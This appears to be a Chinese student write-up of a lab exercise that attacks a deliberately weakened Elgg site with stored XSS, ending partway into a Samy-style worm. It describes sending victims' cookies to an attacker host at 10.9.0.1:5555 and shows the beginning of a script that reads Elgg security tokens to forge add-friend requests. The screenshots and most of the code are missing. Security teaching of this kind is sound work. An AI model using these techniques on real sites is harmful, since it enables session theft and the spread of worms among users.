一、题目
跨站点脚本(XSS)是一种常见于web应用程序中的计算机安全漏洞。此漏洞使攻击者有可能将恶意代码(如JavaScripts)注入受害者的web浏览器。
为了演示攻击者可以做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。我们已经注释掉了Elgg的一些保护方法,故意使其容易受到XSS攻击。学生们需要利用这些漏洞发动攻击,就像Samy Kamkar在2005年通过臭名昭著的Samy蠕虫对MySpace所做的那样。此攻击的最终目标是在用户之间传播XSS蠕虫,这样无论谁查看受感染的用户配置文件都会受到感染,无论谁受感染都会将您(即攻击者)添加到他/她的好友列表中。
二、过程
一、Task 1: Posting a Malicious Message to Display an Alert Window
在Elgg配置文件中嵌入一个JavaScript程序,这样当另一个用户查看您的配置文件时,将执行JavaScript程序,并将显示一个警报窗口。以下JavaScript程序将显示一个警报窗口:
回到个人主页得到结果弹窗如图:
二、Task 2: Posting a Malicious Message to Display Cookies
此任务的目的是在Elgg配置文件中嵌入一个JavaScript程序,这样当另一个用户查看您的配置文件时,用户的Cookie将显示在警报窗口中。这可以通过在上一个任务中向JavaScript程序中添加document.cookie
得到cookie如图:
三、Task 3: Stealing Cookies from the Victim’s Machine
在此任务中,攻击者希望JavaScript代码将Cookie发送给自己。要实现这一点,恶意的JavaScript代码需要向攻击者发送一个HTTP请求,并将Cookie附加到该请求中。我们可以通过让恶意JavaScript插入一个为攻击者的机器设置src属性的标签来实现这一点。当JavaScript插入img标签时,浏览器会试图从src字段中的URL加载图像;这将导致向攻击者的机器发送一个HTTPGET请求。下面给出的JavaScript将Cookie发送到攻击者机器的端口5555(IP地址为10.9.0.1),其中攻击者有一个TCP服务器侦听同一端口。
首先开启监听:
修改Alice的profile,登录samy账号点进Alice的profile:
在监听窗口得到返回的cookie:
四、Task 4: Becoming the Victim’s Friend
编写一个XSS蠕虫,将Samy作为朋友添加到任何其他访问Samy页面的用户中。这种蠕虫不会自我传播;在任务6中,我们将使它能够自我传播。在这个任务中,我们需要编写一个恶意的JavaScript程序,该程序直接从受害者的浏览器伪造HTTP请求,而不需要攻击者的干预。这次袭击的目的是让萨米成为受害者的朋友。我们已经在Elgg服务器上创建了一个名为Samy的用户(用户名是Samy)。为了为受害者添加朋友,我们应该首先了解合法用户如何在Elgg中添加朋友。更具体地说,我们需要找出当用户添加朋友时向服务器发送了什么。火狐的HTTP检查工具可以帮助我们获取信息。它可以显示从浏览器发送的任何HTTP请求消息的内容。从这些内容中,我们可以识别请求中的所有参数。
利用 js 实现 GET 方法。修改samy 的 profile 如图所示。保存后,所有访问者均会触发这段代码。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl